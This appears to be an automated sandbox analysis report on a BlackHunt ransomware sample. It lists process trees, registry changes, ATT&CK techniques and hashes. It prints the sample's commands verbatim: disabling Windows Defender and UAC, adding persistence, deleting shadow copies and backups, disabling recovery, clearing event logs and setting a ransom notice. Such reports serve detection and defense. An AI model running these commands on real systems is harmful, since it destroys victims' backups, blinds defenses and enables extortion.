1924 wrote to memory of 2776 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 43 PID 1924 wrote to memory of 2776 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 43 PID 1924 wrote to memory of 2776 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 43 PID 1924 wrote to memory of 2776 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 43 PID 1924 wrote to memory of 2488 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 52 PID 1924 wrote to memory of 2488 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 52 PID 1924 wrote to memory of 2488 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 52 PID 1924 wrote to memory of 2488 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 52 PID 1924 wrote to memory of 2636 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 55 PID 1924 wrote to memory of 2636 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 55 PID 1924 wrote to memory of 2636 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 55 PID 1924 wrote to memory of 2636 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 55 PID 1924 wrote to memory of 2464 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 155 PID 1924 wrote to memory of 2464 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 155 PID 1924 wrote to memory of 2464 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 155 PID 1924 wrote to memory of 2464 1924 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe 155 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe"C:\Users\Admin\AppData\Local\Temp\1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1924 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2136
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2564
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2616
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2680
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2480
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2944
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1464
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2776
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1768
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2688
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2452
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2604
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1980
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2624
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1380
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2488
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2820
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2636
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:1788
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2464
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2856
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2512
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2520
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2384
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2532
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1876
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:3024
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1376
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:944
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2824
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2916
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2836
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:780
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1468
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1992
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2716
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2100
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2812
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2016
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1988
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:664
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1020
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1664
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵
- Suspicious use of WriteProcessMemory
PID:2564
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2852
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2908
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2840
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2260
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe" /F2⤵PID:1440
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe" /F3⤵
- Creates scheduled task(s)
PID:2116
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2420
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:2088
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2484
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:844
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2068
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2340
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2244
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1872
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1188
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2460
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1736
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2356
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:540
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2700
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:488
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2092
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:3392
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:3200
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:3224
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:3692
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:3088
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:3288
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:3756
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:1440
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:3780
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:4000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3548
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:3836
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:488
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:3396
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:1196
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3364
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:236
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3904
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3028
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3832
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2516
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:3912
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3816
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3032
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3664
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2484
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:3652
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:216
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3452
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3112
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2192
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:3612
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1444
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:3948
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:612
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:3892
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:892
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:3944
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\1bb4e6243a05c89b4b0baf4c487be10bff8f541b7c5ac88ea1d4d947eee0a84c.exe"2⤵
- Deletes itself
PID:4028 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2256
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1228
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2260
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2104
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1072
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:2464
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD578903946b5e1ef7c67d617818a6d6108
SHA10c34060fe36a9c8076d24ead7981901658f03ef4
SHA2568e861652223b3483765e3782826e66dacd110a08b5bcadddf3547f30ce3d5eda
SHA512d83b2e9d776da2aaa89792fea287059ed67bedf05fabdecbdd22632826ab720b9b94166c8d3679b7425e04a78d3aa1599522ec3b4349ec39911b7edee09d3927
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Filesize
12KB
MD53d21a0e2830a9bba3b1daf0f5abd587a
SHA196891aa10a6a3e30127be66029e8fc90b8c833d3
SHA25688a0a5d5f1ec1802ede53f7286cbbb4e021e1bc27cb8baa351290dfd17db681c
SHA512860e84d3b7c10cb3ce01c05200a682edf3a789c3f872f1fcd9a87cca71cde243ef5714955ede40e2dbcafa95fade3e967163096cf9e8867f32d91b1916de2918
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Filesize
684B
MD5fd7cf84a7e2ff2a604134a5faf52a7b0
